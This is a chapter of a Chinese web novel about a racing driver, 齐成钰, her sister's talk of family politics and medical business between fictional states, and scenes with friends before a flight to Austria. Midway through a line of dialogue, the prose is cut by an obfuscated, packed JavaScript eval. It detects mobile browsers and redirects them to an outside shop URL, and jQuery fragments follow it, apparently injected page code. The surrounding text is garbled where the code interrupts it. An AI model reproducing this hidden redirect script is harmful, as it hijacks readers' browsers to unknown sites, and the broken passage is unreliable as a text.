31.安:我不在,五年亦足矣

作品:《世界冠军重连中

    齐成钰和齐昭成在酒廊聊了一会儿。


    齐昭成只有十五分钟,她要赶飞机,坐下后开门见山道:“有些事情,姥姥说还是需要询问你的意见。安将军也回到了长安,最近高家和邓家动作不断,长安有意和玉林深度合作……”


    “深度合作”的意思就是,作为补偿,玉林共享更多医疗与科技技术,而长安提供的用以实验的男志愿者翻倍。


    其她三州送了海量男志愿者过去,做了那么多实验,也没见研发出什么管用的药。


    看得出来安婧回来的第一件事就是整顿长安,走之前信心满满,做了五年清除计划,谁知道长安世家动都不动,一天到晚只知道水磨功夫。


    八年前的那件事影响太过恶劣,寒山自始至终都保持着封闭态度,两耳哪闻窗外事,一天到晚只知道困守天德司嚎丧。


    最先伸出援手的长安也是受到影响最严重的,如今特殊型药品C1泛滥成灾,污染治理区长久无人管控,长安的世家多是尸位素餐之辈,做得越多错得越多,安婧不在这几年,干脆什么都不做。


    而那年的柳垣尚未发展,以自保为主,成了四州受灾程度最低的那个。


    至于柳垣这些年高速发展,一跃成为一州之主,俞家功不可没,只知自保倒也成了本领。


    齐成钰耳朵听得起茧了,说道:“我不关心这些。”


    “我知道。”齐昭成看着她笑了起来,“沉稳了不少,放在以前,你现在已经走了。”


    齐成钰瞥了瞥她,“家里的事我不想管,没有必要问我,我走了。”


    齐成钰站起身,齐昭成叫住她。


    “怎么还听不得夸。”齐昭成无奈,将她按回椅子上,“就算你不想管,家里的事你总得知道。”


    她回到对面,继续说:“紫荧醒来以后就在医院失踪了,长安每年离奇失踪死亡的男眷太多,家里懒得管,已经将它这个身份一并逐出,黎王府更干脆,男眷查杀一遍全填上了报名表。


    咱们和黎王府起了个头,长安世家怕日后牵连,最近都在忙这事。”


    长安世家的脊梁骨在大靖之前就被打断了,只剩一群不思进取的墙头草,风怎么刮就怎么倒,被杀鸡儆猴的前皇室高家居然还算存了志气的,齐昭成忍不住叹气,她这两天真是忙得一个头两个大。


    “家里的意思是,趁这个机会,四州交流期间和于家达成合作,她们本家站在玉林的医药风口上,又和黎朝走得近。”


    齐成钰等了一会儿,挑眉,“没了?就这样?”


    “没有了。”齐昭成说道:“就是家里生意上的一点小事,做医药赚得多。”


    “那不是因为广平被炸飞了,留一地烂摊子到现在都没个头绪吗?”


    齐成钰嗤笑一声:“新广平到现在五年了,为了粉饰太平玉林砸了多少钱,砸了多少资源,是个人都看得出来。”


    “话虽如此……”


    齐昭成不赞同地摇了摇头,却也没再往下说什么。


    “行。”齐成钰看了看她,敷衍道:“知道了,当个事儿办。”


    知道她只在乎和自己有关的事,长安玉林之间,是一笔说八辈子也说不尽算不通的烂账,哪里适合当成闲聊话题。


    齐昭成瞧了瞧时间,干脆转移了话题,关心起她的近况。


    “下一站是奥地利吧?我收到瀛岛的奖杯,让管姨收好了。”齐昭成说道:“平时多吃点,我刚才抱你那一下觉得你又瘦了。”


    这人是不是分不清瘦和精壮?齐成钰说:“我健身了。”


    “车手训练很辛苦,多吃点。”


    “……”齐成钰说:“你是不是饿了?”


    齐昭成畅然,“是饿了,不过也只能去机场吃了。等我忙完这段时间去看你比赛。”


    聊了几句,齐昭成接了通电话,这就要离开了。


    不知道躲哪儿去的方鹏和小于总,销声匿迹这么长时间,忽然打某个不为人知的角落钻了出来,讲好些客套话。


    “就送到这儿吧。”齐昭成面带笑容,看着方鹏道:“小鹏新车很帅,下次别戴墨镜开。”


    方鹏心虚地拉了拉领口,墨镜随之而动,“……不会了不会了。”


    她的墨镜这一天摘了戴,戴了摘,齐昭成一提,她给扯了下来,捏断了镜腿,一副打保票的样子。


    齐昭成再看向齐成钰,她站在不远处,看起来不打算靠近。


    “成钰,过来,我忽然想起一件事,还没有告诉你。”齐昭成招呼她。


    齐成钰想都不用想,准没好事儿。


    果不其然,她一走近,齐昭成什么事都没有,纯是手痒,故技重施把人揽进怀里,像搓衣服似的,狠狠地搓了两下发茬。


    “?”


    齐成钰推开她,怒骂:“你有病吧!”


    她生气时跟个喷火小恐龙似的,齐昭成一看见就想笑。


    她想笑就笑,一点不绷着,就像刚才下手也没客气。


    “没完了是吧!”齐成钰更生气了。


    齐昭成看见司机走过来接她,马上道别,省得等会儿齐成钰气急败坏,她不好应付。


    齐成钰鄙视她,送都不送,自己回了房间。


    方鹏送齐昭成到酒店外,蹑手蹑脚地回来,却没发现齐成钰。


    露台找了,浴室找了,卧室也找了,就连卧室的床底她都找过了,愣是没有找到,好端端的一个大活人,忽然变没了。


    “齐少……”方鹏拿出手机,给齐成钰发消息之前,她总得经过几分钟到十几分钟不等的措辞时间,“亲爱的齐少,我锲而不舍地寻找你,却没发现你的踪迹……”


    片刻后,齐成钰发来一个问号。


    “?”


    紧随了一句话:“你在哪儿抄的歌词?”


    “流行音乐,很神奇吧。”方鹏闲扯了一句,齐成钰给她发了两个问号,她赶紧说正经的:“齐少你去哪儿了?怎么把我一个人扔下了?”


    “吃饭。”


    齐成钰怕她还要去抄点神奇的流行音乐歌词,补发了照片,在酒店的中餐厅,照片上方还有另一个人的手,眼尖的方鹏马上就认了出来。


    “塞西尔什么时候回来的?”


    齐成钰消息回多了,不耐烦地回了一条语音:“不知道。”


    背景里还有塞西尔的踊跃发言:“我知道我知道!”


    方鹏转而给塞西尔发消息:“你知道什么就知道了?”


    塞西尔秒回:“我刚回来的,我给你们发信息了,你没回我。”


    “你哪……”方鹏把通知栏向下一拉,果然看见了未读消息,短短一条,还发在了社媒的私信里:“……你就不能好好发在通信软件上面?”


    “这很顺手诶。”塞西尔道:“记得给我的帖子点赞,推


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108764|194743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文也得点。”然后跟发了一堆不知所谓的Emoji表情,“帮忙点个赞吧!”


    方鹏看着那堆emoji摸不着头脑,她一边往中餐厅去,一边回复:“你这堆玩意儿什么意思?一百年之内无人能懂。”


    等她到了中餐厅,将聊天记录拿给齐成钰看,齐成钰面无表情地摸了摸她的脑袋,面无表情地收回了手。


    方鹏一头雾水,挠了挠头,“我头上有什么东西吗?”


    “没有。”齐成钰扬了扬下巴,示意她坐对面,“别拿你俩的聊天记录伤我的眼睛了。”


    方鹏不信,方鹏总觉得齐成钰是在验证手感,顺便报复她刚才的旁观。


    ……


    ……


    在蓉城待了几天,该玩的玩了,这次难得的长假就这么过去了。


    九月一号,为了准备奥地利站,卡特队内要训练,塞西尔就先走了。


    九月三号,这天也是周三,齐成钰也到了启程的时候,留一天休息时间还能在维也纳玩玩,同时因为奥地利站的地势缘故,枭准备了周末的越野训练。


    赶航班的前一天晚上。


    方鹏打开门,接过酒店人员清洗熨烫好的衣物,放进行李箱里。


    她们的行李不多,大小两个行李箱足够,带给同事的礼物不占地方,方鹏把它们装进小行李箱里。


    “还有什么东西吗?”方鹏环视房间,好像没什么东西了,车已经让司机托运送回长安,一些多余的,比如收到的礼物,纪念品和多余衣物也放在车上一块儿送走了。


    “没有了。”齐成钰站在门口看手机,下周就是比赛周,她连捡垃圾游戏都不玩了,此刻翻着老王发来的赛道分析。


    交流群里江会也接收了文件,隔了一段时间,她在群里问老王一些关于T5到T8弯道群的问题,老王回答了她,其她工程师也从各个角度分析了一下,再然后就没有交流了,估计是私聊去了。


    方鹏收拾好东西,拖着行李箱出来,扫了一眼齐成钰的手机屏幕,“我记得这条赛道以前出过安全事故。”


    “现在做了些改动。”


    齐成钰收起手机,两人乘电梯下楼,办理退房,小于总还是那身西装没换,站在那里等她们。


    “招待不周,”于总迎了两步,眼神里带着礼貌的愧疚,笑了一下,随着这个笑容又变得爽朗起来,“下次齐少一定要提前给我打个电话。”


    “嗯。”


    方鹏给她的“嗯”润色,笑着接道:“一定一定。”


    她们离开酒店,乘车前往机场,候机时间在贵宾楼里等待,方鹏帮她打游戏,齐成钰算了算六个小时的时差,虽然困,但不如不睡,省得飞机落地还要倒时差。


    她们凌晨一点的航班,现在零点五分,闲着也是闲着,齐成钰想看别人的游戏直播,却看见直播榜一赫然挂着黎至,那个一天只用睡四个小时的狗东西。


    “……”


    齐成钰放下手机,掐了掐眉心。


    黎至这阴魂不散的玩意儿,靠着她自己的人气,硬生生刷新在她生活里的每个角落。


    游戏看得见她,社交媒体看得见她,出来旅游以为看不见了,结果家里和黎家关系好,还是逃不过。


    “封杀她算了。”齐成钰没忍住骂了一声。


    “谁?”方鹏茫然地转头。


    齐成钰摆手,“玩你的去。”